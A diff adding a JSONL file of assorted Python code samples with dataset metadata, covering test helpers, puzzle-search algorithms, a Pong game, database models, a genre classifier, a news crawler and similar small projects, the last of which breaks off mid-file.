diff --git "a/694.jsonl" "b/694.jsonl" new file mode 100644--- /dev/null +++ "b/694.jsonl" @@ -0,0 +1,666 @@ +{"seq_id":"257095544","text":"import asyncio\nfrom functools import wraps\nfrom unittest import TestCase\nfrom unittest.mock import MagicMock\n\n\nclass AsyncMock(MagicMock):\n\n \"\"\"\n Enable the python3.5 'await' call to a magicmock\n \"\"\"\n\n async def __call__(self, *args, **kwargs):\n return super(AsyncMock, self).__call__(*args, **kwargs)\n\n\ndef make_future(res=None):\n f = asyncio.Future()\n f.set_result(res)\n return f\n\n\ndef future_func(func):\n \"\"\"\n Decorator that takes an plain old python function/method and wraps the\n result of its execution inside an asyncio.Future.\n \"\"\"\n @wraps(func)\n def func_wrapper(*args, **kwargs):\n return make_future(func(*args, **kwargs))\n return func_wrapper\n","sub_path":"tests/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":710,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"349443922","text":"from objc import IBAction, IBOutlet\n\nfrom Foundation import (\n NSObject,\n NSLog,\n NSTimer,\n )\n\nfrom Cocoa import (\n NSColor,\n )\n\nclass ApplicationDelegate(NSObject):\n\n FRAMERATE = 30.0\n \n view = IBOutlet(\"view\")\n \n def init(self):\n self = super(ApplicationDelegate, self).init()\n self.colors = [NSColor.blackColor(), NSColor.redColor(), NSColor.greenColor()]\n return self\n \n\n def applicationDidFinishLaunching_(self, _):\n NSLog(\"applicationDidFinishLaunching_\")\n self.timer = NSTimer.scheduledTimerWithTimeInterval_target_selector_userInfo_repeats_(\n 1.0 / self.FRAMERATE,\n self.view,\n self.view.animate_,\n None,\n True\n )\n \n\n\n def applicationWillTerminate_(self, sender):\n if self.timer:\n self.timer.invalidate()\n \n\n @IBAction\n def rotateColor_(self, _sender):\n index = [i for i, color in enumerate(self.colors) if color == self.view.color][0]\n self.view.color = self.colors[(index + 1) % len(self.colors)]\n self.view.setNeedsDisplay_(True)\n\n\n\n @property\n def xfac(self):\n return self.view.xfac\n\n\n @xfac.setter\n def xfac(self, value):\n self.view.xfac = value\n\n \n @property\n def yfac(self):\n return self.view.yfac\n\n\n @yfac.setter\n def yfac(self, value):\n self.view.yfac = value\n","sub_path":"ApplicationDelegate.py","file_name":"ApplicationDelegate.py","file_ext":"py","file_size_in_byte":1478,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"374873112","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\nfrom http.server import HTTPServer, SimpleHTTPRequestHandler\n\nPORT = 8080\nDICT = {b\"http://example.com\" : b\"http://some.shortened.url\"}\n\nclass MyTCPHandler(SimpleHTTPRequestHandler):\n def do_POST(self):\n length = int(self.headers.get(\"content-length\"))\n data = self.rfile.read(length)\n body = DICT[data] if data in DICT else b\"Hello world\"\n self.send_response(200)\n self.send_header('Content-type', 'text/html; charset=utf-8')\n self.send_header('Content-length', len(body))\n self.end_headers()\n self.wfile.write(body)\n\ndef main():\n httpd = HTTPServer((\"localhost\", PORT), MyTCPHandler)\n print(\"serving at port \", PORT)\n try:\n httpd.serve_forever()\n except KeyboardInterrupt:\n print(\"Goodbye!\")\n\nif __name__ == \"__main__\":\n main()\n","sub_path":"ditly.py","file_name":"ditly.py","file_ext":"py","file_size_in_byte":865,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"627149579","text":"# Aaliya Hussain\r\n# 2nd Period\r\n# 10/7/19\r\n\r\n# All data gathering code commented out to avoid crashing Mr. Eckel's computer.\r\n\r\nimport heapq\r\nimport time\r\nimport random\r\nfrom collections import deque\r\n\r\n# Sliding puzzle code necessary for multiple extensions\r\ndef find_goal(board):\r\n return \"\".join(sorted(board)[1:])+\".\"\r\n\r\ndef coor_to_index(r, c, size):\r\n if r == 0:\r\n return int(c)\r\n return int(c+size*r)\r\n\r\ndef index_to_coor(i, size):\r\n if i < size:\r\n return 0, int(i)\r\n return int(i/size), int(i%size)\r\n\r\ndef swap(state, a, b):\r\n sl = list(state)\r\n sl[a], sl[b] = sl[b], sl[a]\r\n return ''.join(sl)\r\n\r\ndef get_children(state):\r\n size = int(len(state)**.5)\r\n r = index_to_coor(state.index(\".\"), size)[0]\r\n c = index_to_coor(state.index(\".\"), size)[1]\r\n cp = state.index(\".\")\r\n ret = []\r\n # Up\r\n if r > 0:\r\n np = coor_to_index(r-1, c, size)\r\n ret.append(swap(state, np, cp))\r\n # Down\r\n if r < size-1:\r\n np = coor_to_index(r+1, c, size)\r\n ret.append(swap(state, np, cp))\r\n # Left\r\n if c > 0:\r\n np = coor_to_index(r, c-1, size)\r\n ret.append(swap(state, np, cp))\r\n # Right\r\n if c < size-1:\r\n np = coor_to_index(r, c+1, size)\r\n ret.append(swap(state, np, cp))\r\n return ret\r\n\r\n# A* and taxicab distance as implemented in part 2\r\ndef astar(state):\r\n closed = set()\r\n fringe = [(txd(state), state, 0)]\r\n heapq.heapify(fringe)\r\n while len(fringe) != 0:\r\n v = heapq.heappop(fringe)\r\n if v[1] == find_goal(state):\r\n return v[2]\r\n if v[1] not in closed:\r\n closed.add(v[1])\r\n for c in get_children(v[1]):\r\n heapq.heappush(fringe, (txd(c)+v[2]+1, c, v[2]+1))\r\n return None\r\n\r\ndef txd(board):\r\n d = 0\r\n order = ''.join(sorted(board)[1:]+list(sorted(board)[0]))\r\n for c in board:\r\n if c != \".\" and board.index(c) != order.index(c):\r\n r1, c1 = index_to_coor(board.index(c), len(board)**.5)\r\n r2, c2 = index_to_coor(order.index(c), len(board)**.5)\r\n d += abs(r1-r2)+abs(c1-c2)\r\n return d\r\n\r\n# Code for extension A\r\ndef m_astar(state, m):\r\n closed = set()\r\n fringe = [(txd(state), state, 0)]\r\n heapq.heapify(fringe)\r\n while len(fringe) != 0:\r\n v = heapq.heappop(fringe)\r\n if v[1] == find_goal(state):\r\n return v[2]\r\n if v[1] not in closed:\r\n closed.add(v[1])\r\n for c in get_children(v[1]):\r\n heapq.heappush(fringe, (txd(c) + m*(v[2] + 1), c, v[2] + 1))\r\n return None\r\n\r\n# Data gathering\r\n# with open(\"15_puzzles.txt\") as f:\r\n# i = 0\r\n# for line in f:\r\n# if i < 41:\r\n# state = line.rstrip()\r\n# print(\"Puzzle: %s\" % state)\r\n# for m in range(10, 0, -1):\r\n# start = time.perf_counter()\r\n# s = m_astar(state, m/10)\r\n# end = time.perf_counter()\r\n# print(\"%s moves in %s seconds\" % (s, end-start))\r\n# print()\r\n# i += 10 #no particular reason for choosing to increment by 10 (10 is just a nice round number)\r\n\r\n# Code for extension B\r\ndef rm_astar(state):\r\n closed = set()\r\n fringe = [(txd(state), random.random(), state, [])]\r\n heapq.heapify(fringe)\r\n while len(fringe) != 0:\r\n v = heapq.heappop(fringe)\r\n if v[2] == find_goal(state):\r\n return v[3]\r\n if v[2] not in closed:\r\n closed.add(v[2])\r\n for c in get_children(v[2]):\r\n t = v[3] + list([c])\r\n heapq.heappush(fringe, (txd(c) + 0.4 * (len(v[3]) + 1), random.random(), c, t)) #m = 0.4, 0.5, 0.6\r\n return None\r\n\r\n#Data gathering\r\n# state = \"JMGBILDFK.EONHCA\" #55-move puzzle from 15_puzzles.txt\r\n# for x in range(0, 15):\r\n# start = time.perf_counter()\r\n# s = rm_astar(state)\r\n# s2 = m_astar(state, 0.4) #m = 0.6, 0.5, 0.4\r\n# end = time.perf_counter()\r\n# print(\"%s moves in %s seconds\" % (len(s), end-start))\r\n# print(\"%s moves in %s seconds\" % (s2, end - start))\r\n# print()\r\n\r\n\r\n# Code for extension D\r\nnodes = 0\r\ndef bfs_np(state):\r\n global nodes\r\n fringe = deque()\r\n visited = set()\r\n fringe.append((state, 0))\r\n visited.add(state)\r\n while len(fringe) != 0:\r\n v = fringe.popleft()\r\n nodes += 1\r\n if v[0] == find_goal(v[0]):\r\n return v[1]\r\n else:\r\n for c in get_children(v[0]):\r\n if c not in visited:\r\n fringe.append((c, v[1] + 1))\r\n visited.add(c)\r\n return None\r\n\r\ndef kdfs_np(state, k):\r\n global nodes\r\n fringe = deque()\r\n fringe.append((state, 0, {state}))\r\n while len(fringe) != 0:\r\n v = fringe.pop()\r\n nodes += 1\r\n if v[0] == find_goal(state):\r\n return v[1]\r\n if v[1] < k:\r\n for c in get_children(v[0]):\r\n if c not in v[2]:\r\n t = v[2].union({c})\r\n fringe.append((c, v[1]+1, t))\r\n return None\r\ndef iddfs(state):\r\n k = 0\r\n b = kdfs_np(state, k)\r\n while b is None:\r\n k += 1\r\n b = kdfs_np(state, k)\r\n return b\r\n\r\ndef astar_np(state):\r\n global nodes\r\n closed = set()\r\n fringe = [(txd(state), state, 0)]\r\n heapq.heapify(fringe)\r\n while len(fringe) != 0:\r\n v = heapq.heappop(fringe)\r\n nodes += 1\r\n if v[1] == find_goal(state):\r\n return v[2]\r\n if v[1] not in closed:\r\n closed.add(v[1])\r\n for c in get_children(v[1]):\r\n heapq.heappush(fringe, (txd(c) + v[2] + 1, c, v[2] + 1))\r\n return None\r\n\r\n#Data gathering\r\n# with open(\"15_puzzles.txt\") as f:\r\n# for line in f:\r\n# state = line.rstrip()\r\n# start = time.perf_counter()\r\n# #moves = bfs_np(state)\r\n# #moves = iddfs(state)\r\n# moves = astar_np(state)\r\n# end = time.perf_counter()\r\n# if end-start > 10:\r\n# print(\"%s: %s moves\" % (state, moves))\r\n# print(\"%s nodes per second\" % (nodes/(end-start)))\r\n# break\r\n# nodes = 0\r\n\r\n# Code for Extension C\r\nrows = []\r\ncols = []\r\ndef row_col(board):\r\n size = int(len(board)**0.5)\r\n letters = find_goal(board)\r\n for k in range(size):\r\n rows.append(set(letters[size*k:size*(k+1)]))\r\n cols.append(set(letters[k:size*size*size-(size-k)+1:size]))\r\n\r\ndef lin_con(board):\r\n size = int(len(board)**0.5)\r\n cons = 0\r\n for k in range(size):\r\n r = board[size*k:size*(k+1)]\r\n c = board[k:size * size * size - (size - k) + 1:size]\r\n for i in range(size-1):\r\n for j in range(i+1, size-1):\r\n if r[i] != \".\" and r[j] != \".\":\r\n if r[i] in rows[k] and r[j] in rows[k]:\r\n if r[i] > r[j]:\r\n cons += 2\r\n if c[i] != \".\" and c[j] != \".\":\r\n if c[i] in cols[k] and c[j] in cols[k]:\r\n if c[i] > c[j]:\r\n cons += 2\r\n return cons\r\n","sub_path":"01 Sliding Puzzle/part3_submit.py","file_name":"part3_submit.py","file_ext":"py","file_size_in_byte":7144,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"37654017","text":"# Pong V2\n# This version of Pong will have the ball being able to collide with the front of the paddles, be able to update the score and end the game\n\nimport pygame\n\n\nscreen_width = 500\nscreen_height = 400\n\n# User-defined functions\n\ndef main():\n # initialize all pygame modules (some need initialization)\n pygame.init()\n # create a pygame display window\n pygame.display.set_mode((screen_width, screen_height))\n # set the title of the display window\n pygame.display.set_caption('Pong') \n # get the display surface\n w_surface = pygame.display.get_surface() \n # create a game object\n game = Game(w_surface)\n # start the main game loop by calling the play method on the game object\n game.play() \n # quit pygame and clean up the pygame window\n pygame.quit() \n\n\n# User-defined classes\n\nclass Game():\n # An object in this class represents a complete game.\n\n def __init__(self, surface):\n # Initialize a Game\n\n #properties of the game, including screen colour, FPS, and closing fucntion\n self.surface = surface\n self.bg_color = pygame.Color('black')\n \n self.FPS = 60\n self.game_Clock = pygame.time.Clock()\n self.close_clicked = False\n self.continue_game = True\n self.leftp_score = 0\n self.rightp_score =0\n self.max_score = 11\n \n # colour of balls, and \"time\" limit for game\n self.ball = Ball('white', 5, [250, 200], [3, 1], self.surface)\n self.paddle_Right = pygame.Rect(400, 175, 10, 50)\n self.paddle_Left = pygame.Rect(80, 175, 10, 50)\n self.max_frames = 150\n self.frame_counter = 0\n \n\n def play(self):\n # Play the game until the player presses the close box.\n # - self is the Game that should be continued or not.\n # until player clicks close box\n while not self.close_clicked: \n self.handle_events(self.ball, self.paddle_Right, self.paddle_Left)\n self.draw()\n self.decide_continue(self.leftp_score, self.rightp_score)\n if self.continue_game:\n self.update()\n self.update_scores()\n \n self.game_Clock.tick(self.FPS)\n\n def handle_events(self, ball, pRight, pLeft):\n # Handle each user event by changing the game state appropriately.\n\n events = pygame.event.get()\n for event in events:\n if event.type == pygame.QUIT:\n self.close_clicked == True\n pygame.quit()\n quit()\n \n if ball.velocity[0] < 0 and pLeft.collidepoint(ball.center[0]-ball.radius, ball.center[1]):\n ball.velocity[0] = -ball.velocity[0]\n if ball.velocity[0] > 0 and pRight.collidepoint(ball.center[0]+ball.radius, ball.center[1]):\n ball.velocity[0] = -ball.velocity[0] \n \n\n def draw(self):\n # Draw all game objects.\n self.surface.fill(self.bg_color) # clear the display surface first\n self.ball.draw()\n pygame.draw.rect(self.surface, pygame.Color('white'), self.paddle_Right)\n pygame.draw.rect(self.surface, pygame.Color('white'), self.paddle_Left)\n self.draw_score_left()\n self.draw_score_right()\n \n pygame.display.update() # make the updated surface appear on the \n \n def draw_score_left(self):\n score_string = str(self.rightp_score)\n score_font = pygame.font.SysFont('',70)\n score_color = pygame.Color('white')\n score_display = score_font.render(score_string, True, score_color)\n self.surface.blit(score_display, (10,0)) \n \n def draw_score_right(self):\n score_string = str(self.leftp_score)\n score_font = pygame.font.SysFont('',70)\n score_color = pygame.Color('white')\n score_display = score_font.render(score_string, True, score_color)\n self.surface.blit(score_display, (450,0)) \n \n \n def update(self):\n # Update the game objects for the next frame. \n self.ball.move()\n self.frame_counter = self.frame_counter + 1\n \n def update_scores(self):\n if self.ball.center[0] < self.ball.radius:\n self.leftp_score = self.leftp_score + 1\n if self.ball.center[0] + self.ball.radius > 500:\n self.rightp_score = self.rightp_score + 1\n \n def decide_continue(self, scoreL, scoreR):\n # Check and remember if the game should continue \n if scoreL == 11 or scoreR == 11:\n pygame.quit()\n \nclass Ball:\n # An object in this class represents a Ball that moves \n \n def __init__(self, Ball_color, Ball_radius, Ball_center, Ball_velocity, surface):\n \n # Initialize a Ball.\n # - self is the Ball to initialize\n # - color is the pygame.Color of the Ball\n # - center is a list containing the x and y int\n # coords of the center of the Ball\n # - radius is the int pixel radius of the Ball\n # - velocity is a list containing the x and y components\n # - surface is the window's pygame.Surface object\n\n self.color = pygame.Color(Ball_color)\n self.radius = Ball_radius\n self.center = Ball_center\n self.velocity = Ball_velocity\n self.surface = surface\n \n def move(self):\n # Change the location of the Ball by adding the corresponding \n # speed values to the x and y coordinate of its center\n # - self is the Ball\n \n for i in range (0,len(self.center)):\n self.center[i] += self.velocity[i]\n if self.center[0] <= 0 + self.radius or self.center[0] >= screen_width - self.radius:\n self.velocity[0] = -self.velocity[0]\n if self.center[1] >= screen_height - self.radius or self.center[1] <= self.radius:\n self.velocity[1] = -self.velocity[1] \n \n def draw(self):\n # Draw the Ball on the surface\n # - self is the Ball\n \n pygame.draw.circle(self.surface, self.color, self.center, self.radius)\n \nmain()\n","sub_path":"CMPUT-174-Fa19/pong/Pong_V2.py","file_name":"Pong_V2.py","file_ext":"py","file_size_in_byte":5828,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"299003013","text":"sample = \"5??5???5\"\r\nb = 0\r\ncounter = 0\r\ntrueCheck = False\r\nDigiCounter = 0\r\nSecondDigit = 0\r\nquestionCheck = 0\r\nfirstCount = 0\r\ntestEnd = 0\r\n\r\n\r\nlength = len(sample)\r\nfor i in sample:\r\n if i.isdigit():\r\n DigiCounter += 1\r\n if DigiCounter == 2:\r\n SecondDigit = i\r\n testEnd = counter\r\n if DigiCounter == 1 and firstCount == 0:\r\n FirstDigit = i\r\n testStart = counter\r\n firstCount += 1\r\n summation = int(FirstDigit) + int(SecondDigit)\r\n if summation == 10:\r\n summation = 0\r\n while testStart <= testEnd:\r\n if sample[testStart] == \"?\" and int(questionCheck) < 3:\r\n questionCheck += 1\r\n print(\"question check: \", questionCheck)\r\n testStart += 1\r\n print(\"test sart: \", testStart)\r\n print(\"test end: \", testEnd)\r\n if questionCheck == 3:\r\n final = True\r\n questionCheck = 0\r\n testStart = 0\r\n testEnd = 0\r\n if firstCount == 1 and DigiCounter == 2:\r\n testStart = counter\r\n FirstDigit = SecondDigit\r\n DigiCounter = 1\r\n counter += 1\r\n\r\nif final is True:\r\n print(final)\r\nelse:\r\n final = False\r\n print(final)\r\n\r\n","sub_path":"question mark finder.py","file_name":"question mark finder.py","file_ext":"py","file_size_in_byte":1324,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"142203357","text":"# coding: utf-8\nfrom sqlalchemy import Boolean, Column, DateTime, Float, Integer, String, Text, text\nfrom sqlalchemy.ext.declarative import declarative_base\n\nBase = declarative_base()\nmetadata = Base.metadata\n\n\nclass Event(Base):\n __tablename__ = 'event'\n\n id = Column(Integer, primary_key=True, server_default=text(\"nextval('event_id_seq'::regclass)\"))\n should_escalate = Column(String(25))\n country_of_authentication1 = Column(String(25))\n number_successful_logins1 = Column(String(25))\n number_failed_logins1 = Column(String(25))\n source_provider1 = Column(String(50))\n country_of_authentication2 = Column(String(25))\n number_successful_logins2 = Column(String(25))\n number_failed_logins2 = Column(String(25))\n source_provider2 = Column(String(50))\n time_between_authentications = Column(String(25))\n vpn_confidence = Column(String(5))\n\n\nclass EventClicked(Base):\n __tablename__ = 'event_clicked'\n\n id = Column(Integer, primary_key=True, server_default=text(\"nextval('event_clicked_id_seq'::regclass)\"))\n user = Column(String(50))\n event_id = Column(Integer)\n time_event_click = Column(DateTime)\n\n\nclass EventDecision(Base):\n __tablename__ = 'event_decision'\n\n id = Column(Integer, primary_key=True, server_default=text(\"nextval('event_decision_id_seq'::regclass)\"))\n user = Column(String(50))\n event_id = Column(Integer)\n escalate = Column(String(15))\n confidence = Column(String(5))\n time_event_decision = Column(DateTime)\n\n\nclass PrequestionnaireAnswer(Base):\n __tablename__ = 'prequestionnaire_answers'\n\n id = Column(Integer, primary_key=True, server_default=text(\"nextval('prequestionnaire_answers_id_seq'::regclass)\"))\n timestamp = Column(DateTime)\n user = Column(String(50))\n role = Column(String(50))\n exp_researcher = Column(String(50))\n exp_admin = Column(String(50))\n exp_software = Column(String(50))\n exp_security = Column(String(50))\n familiarity_none = Column(Boolean)\n familiarity_read = Column(Boolean)\n familiarity_controlled = Column(Boolean)\n familiarity_public = Column(Boolean)\n familiarity_engineered = Column(Boolean)\n subnet_mask = Column(String(256))\n network_address = Column(String(256))\n tcp_faster = Column(String(256))\n http_port = Column(String(256))\n firewall = Column(String(256))\n socket = Column(String(256))\n which_model = Column(String(256))\n\n\nclass SurveyAnswer(Base):\n __tablename__ = 'survey_answers'\n\n id = Column(Integer, primary_key=True, server_default=text(\"nextval('survey_answers_id_seq'::regclass)\"))\n timestamp = Column(DateTime)\n user = Column(String(50))\n mental = Column(Integer)\n physical = Column(Integer)\n temporal = Column(Integer)\n performance = Column(Integer)\n effort = Column(Integer)\n frustration = Column(Integer)\n useful_info = Column(Text)\n feedback = Column(Text)\n\n\nclass TrainingEvent(Base):\n __tablename__ = 'training_event'\n\n id = Column(Integer, primary_key=True, server_default=text(\"nextval('training_event_id_seq'::regclass)\"))\n should_escalate = Column(String(25))\n country_of_authentication1 = Column(String(25))\n number_successful_logins1 = Column(Integer)\n number_failed_logins1 = Column(Integer)\n source_provider1 = Column(String(50))\n country_of_authentication2 = Column(String(25))\n number_successful_logins2 = Column(Integer)\n number_failed_logins2 = Column(Integer)\n source_provider2 = Column(String(50))\n time_between_authentications = Column(Float(53))\n vpn_confidence = Column(String(5))\n rationale = Column(Text)\n\n\nclass TrainingEventDecision(Base):\n __tablename__ = 'training_event_decision'\n\n id = Column(Integer, primary_key=True, server_default=text(\"nextval('training_event_decision_id_seq'::regclass)\"))\n user = Column(String(50))\n event_id = Column(Integer)\n escalate = Column(String(15))\n confidence = Column(String(5))\n time_event_decision = Column(DateTime)\n\n\nclass User(Base):\n __tablename__ = 'user'\n\n id = Column(Integer, primary_key=True, server_default=text(\"nextval('user_id_seq'::regclass)\"))\n username = Column(String(50), unique=True)\n group = Column(Integer)\n time_begin = Column(DateTime)\n time_end = Column(DateTime)\n events = Column(String(256))\n questionnaire_complete = Column(Boolean)\n training_complete = Column(Boolean)\n experiment_complete = Column(Boolean)\n survey_complete = Column(Boolean)\n completion_code = Column(String(6))\n","sub_path":"models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":4521,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"554150671","text":"import numpy as np\nimport pandas as pd\nimport pickle\nimport urllib\nimport tensorflow as tf\nimport tensorflow_hub as hub\n\nfrom sklearn.preprocessing import MultiLabelBinarizer\n\ndata = pd.read_csv('movies_metadata.csv') #print(\"\\n Data : \\n\" , data)\ndescriptions = data['overview'] #print(\"\\n Descriptions : \\n\" , descriptions)\ngenres = data['genres'] #print(\"\\n Genres : \\n\" , genres)\n\n#top_genres = ['Comedy', 'Thriller', 'Romance', 'Action', 'Horror', 'Crime', 'Documentary', 'Adventure', 'Science Fiction']\n\nurllib.request.urlretrieve('https://storage.googleapis.com/bq-imports/descriptions.p', 'descriptions.p')\nurllib.request.urlretrieve('https://storage.googleapis.com/bq-imports/genres.p', 'genres.p')\n\ndescriptions = pickle.load(open('descriptions.p', 'rb'))\ngenres = pickle.load(open('genres.p', 'rb'))\n\ntrain_size = int(len(descriptions) * .8)\nprint(\"\\n Train Size :\" , train_size)\n\ntrain_descriptions = descriptions[:train_size].astype('str')\nprint(\"\\n train_descriptions : \\n\" , train_descriptions)\ntrain_genres = genres[:train_size]\nprint(\"\\n train_genres : \\n\" , train_genres)\n\n\ntest_descriptions = descriptions[train_size:].astype('str')\nprint(\"\\n test_descriptions : \\n\" , test_descriptions)\ntest_genres = genres[train_size:]\nprint(\"\\n test_genres : \\n\" , test_genres)\n\nencoder = MultiLabelBinarizer()\nencoder.fit_transform(train_genres)\ntrain_encoded = encoder.transform(train_genres)\nprint(\"\\n encoder.transform(train_genres) : \\n\" , train_encoded)\ntest_encoded = encoder.transform(test_genres)\nprint(\"\\n encoder.transform(test_genres) : \\n\" , test_encoded)\nnum_classes = len(encoder.classes_)\nprint(\"\\n num_classes : \\n\" , num_classes)\nprint(\"\\n encoder.classes_ : \\n\" , encoder.classes_)\n\ndescription_embeddings = hub.text_embedding_column(\"descriptions\", module_spec=\"https://tfhub.dev/google/universal-sentence-encoder/2\", trainable=False)\nprint(\"\\n description_embeddings : \\n\" , description_embeddings)\n\nmulti_label_head = tf.contrib.estimator.multi_label_head(\n num_classes,\n loss_reduction=tf.losses.Reduction.SUM_OVER_BATCH_SIZE\n)\n\nfeatures = {\n \"descriptions\": np.array(train_descriptions).astype(np.str)\n}\nprint(\"\\n features : \\n\" , features)\nlabels = np.array(train_encoded).astype(np.int32)\nprint(\"\\n labels : \\n\" , labels)\ntrain_input_fn = tf.estimator.inputs.numpy_input_fn(features, labels, shuffle=True, batch_size=32, num_epochs=25)\nprint(\"\\n train_input_fn : \\n\" , train_input_fn)\nestimator = tf.contrib.estimator.DNNEstimator(\n head=multi_label_head,\n hidden_units=[64,10],\n feature_columns=[description_embeddings])\nprint(\"\\n estimator : \\n\" , estimator)\nestimator.train(input_fn=train_input_fn, hooks=None,\n steps=None,\n max_steps=None,\n saving_listeners=None)\n\n# Define our eval input_fn and run eval\neval_input_fn = tf.estimator.inputs.numpy_input_fn({\"descriptions\": np.array(test_descriptions).astype(np.str)}, test_encoded.astype(np.int32), shuffle=False)\nestimator.evaluate(input_fn=eval_input_fn)\n\n# Test our model on some raw description data\nraw_test = [\n \"An examination of our dietary choices and the food we put in our bodies. Based on Jonathan Safran Foer's memoir.\", # Documentary\n \"After escaping an attack by what he claims was a 70-foot shark, Jonas Taylor must confront his fears to save those trapped in a sunken submersible.\", # Action, Adventure\n \"A teenager tries to survive the last week of her disastrous eighth-grade year before leaving to start high school.\", # Comedy\n]\n\n# Generate predictions\npredict_input_fn = tf.estimator.inputs.numpy_input_fn({\"descriptions\": np.array(raw_test).astype(np.str)}, shuffle=False)\nprint(\"\\n predict_input_fn: \\n\" ,predict_input_fn)\nresults = estimator.predict(predict_input_fn)\n\n# Display predictions\nfor movie_genres in results:\n print(\"\\n Results : \" , results)\n print(\"\\n movie_genres : \", movie_genres)\n top_2 = movie_genres['probabilities'].argsort()[-2:][::-1]\n print(\"Top 2 : \" , top_2)\n for genre in top_2:\n print(\"genre : \", genre)\n text_genre = encoder.classes_[genre]\n print(\"text_genre : \", text_genre)\n print(text_genre + ': ' + str(round(movie_genres['probabilities'][genre] * 100, 2)) + '%')\n print('')","sub_path":"TensorFlow/ClassificationWithMoviesTensorFlowHUB/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":4174,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"67268361","text":"import pygal\nfrom pygal.style import DarkSolarizedStyle\nfrom die import Die\n\n# 创建一个D6和一个D10\ndie_1 = Die()\ndie_2 = Die(10)\n\n# 掷几次骰子,并将结果存储在一个列表中\nresults = []\nfor roll_num in range(50000):\n result = die_1.roll() + die_2.roll()\n results.append(result)\n\nfrequencies = []\n\nmax_result = die_1.num_sides + die_2.num_sides\nfor value in range(2, max_result+1):\n frequency = results.count(value)\n frequencies.append(frequency)\n\n# 对结果进行可视化\nhist = pygal.Bar(style=DarkSolarizedStyle)\n\nhist.title = \"Results of rolling a D6 and D10 1000 times.\"\nhist.x_labels = [str(i) for i in range(2, 17)]\nhist.x_title = \"Result\"\nhist.y_title = \"Frequency of Result\"\n\nhist.add(\"D6 + D10\", frequencies)\nhist.render_to_file('die_visual.svg')\n","sub_path":"Python_Crash_Course/chapter15/different_dice.py","file_name":"different_dice.py","file_ext":"py","file_size_in_byte":792,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"456100319","text":"import time\nimport hashlib\nimport logging\n\nimport time\nimport requests\n\n\nclass BusinessNext:\n\n def __init__(self):\n self.timestamp = time.time()\n self.url = f\"https://www.bnext.com.tw/api/article/list?\" \\\n f\"timestamp={self.timestamp}&sign=T2cUU8eV5IDGguY1BdESrmxRUHGYbqDicD02K8ixZZI%253D\"\n self.headers = {\n \"User-Agent\": (\"Mozilla/5.0 (X11; Linux x86_64) \"\n \"AppleWebKit/537.36 (KHTML, like Gecko) \"\n \"Chrome/58.0.3029.81 Safari/537.36\"),\n \"accept\": (\"ttext/html,application/xhtml+xml,application/xml;\"\n \"q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3\"),\n \"accept-encoding\": \"gzip, deflate, br\",\n \"accept-language\": \"zh-TW,zh;q=0.9,en-US;q=0.8,en;q=0.7\"\n }\n self.session = requests.Session()\n\n def get_news(self, page=1):\n resp = self.session.post(self.url, headers=self.headers, data={\"page\": page})\n news_contents = dict()\n\n # # get title text\n news_data = {\n \"timestamp\": time.time(),\n \"news_page_title\": \"Business Next\"\n }\n\n if page >= 2:\n for page_i in range(2, page + 1):\n others_pages_news_data = self.__load_pages(page_index=page_i)\n news_contents.update(others_pages_news_data)\n\n # # get news data\n cur_news_data = self.__handle_page_contents(data_contents=resp.json())\n news_contents.update(cur_news_data)\n news_data[\"news_contents\"] = news_contents\n\n return news_data\n\n def __load_pages(self, page_index, token=None):\n\n load_resp = self.session.post(\n url=self.url,\n data={\"page\": page_index})\n\n logging.debug(\"Load page status [%s]\", load_resp.status_code)\n resp_data_dict = self.__handle_page_contents(load_resp.json())\n return resp_data_dict\n\n def __handle_page_contents(self, data_contents):\n # generate data dict\n _contents = dict()\n for d in data_contents[\"data\"][\"data\"]:\n post_date = d[\"shortDate2\"].replace(\".\", \"-\")\n news_link = d[\"amp_link\"]\n news_title = d[\"title\"]\n img_link = d[\"medium\"]\n news_md5 = hashlib.md5(news_link.encode(\"utf-8\")).hexdigest()\n cur_news_data = {\n news_md5: {\n \"link\": news_link,\n \"image\": img_link,\n \"title\": news_title,\n \"date\": post_date}\n }\n _contents.update(cur_news_data)\n\n return _contents\n","sub_path":"technews/crawlers/business_next.py","file_name":"business_next.py","file_ext":"py","file_size_in_byte":2644,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"287325386","text":"from pytz import timezone\nimport requests\nfrom datetime import datetime, time\n\n\ndef load_attempts():\n url = 'https://devman.org/api/challenges/solution_attempts/'\n page = 1\n while True:\n payload = {'page': page}\n request = requests.get(url, params=payload).json()\n for record in request['records']:\n username = record['username']\n timestamp = record['timestamp']\n timezone = record['timezone']\n yield username, timestamp, timezone\n number_of_pages = request['number_of_pages']\n page += 1\n if page == number_of_pages:\n break\n\n\ndef get_midnighters(records):\n midnighters = []\n for record in records:\n username, timestamp, tz = record\n record_time = datetime.fromtimestamp(timestamp, timezone(tz))\n if record_time.hour in range(7) and not username in midnighters:\n midnighters.append(username)\n return midnighters\n \n\nif __name__ == '__main__':\n records = load_attempts()\n midnighters = get_midnighters(records)\n print('These users were noticed in what they study Python at night:')\n for midnighter in midnighters:\n print(midnighter)\n","sub_path":"seek_dev_nighters.py","file_name":"seek_dev_nighters.py","file_ext":"py","file_size_in_byte":1203,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"278518876","text":"\"\"\"\nThis file was written by Jason Lawrence to be used for Professor Minh's Research Group\n\"\"\"\nimport Atom\n\nDEBUG = False # Helps with debugging parsing errors\n\ndef init(dir, fileName):\n filePath = dir + \"\\\\\" + fileName\n with open(filePath, 'r') as file:\n Atoms, Ligands = 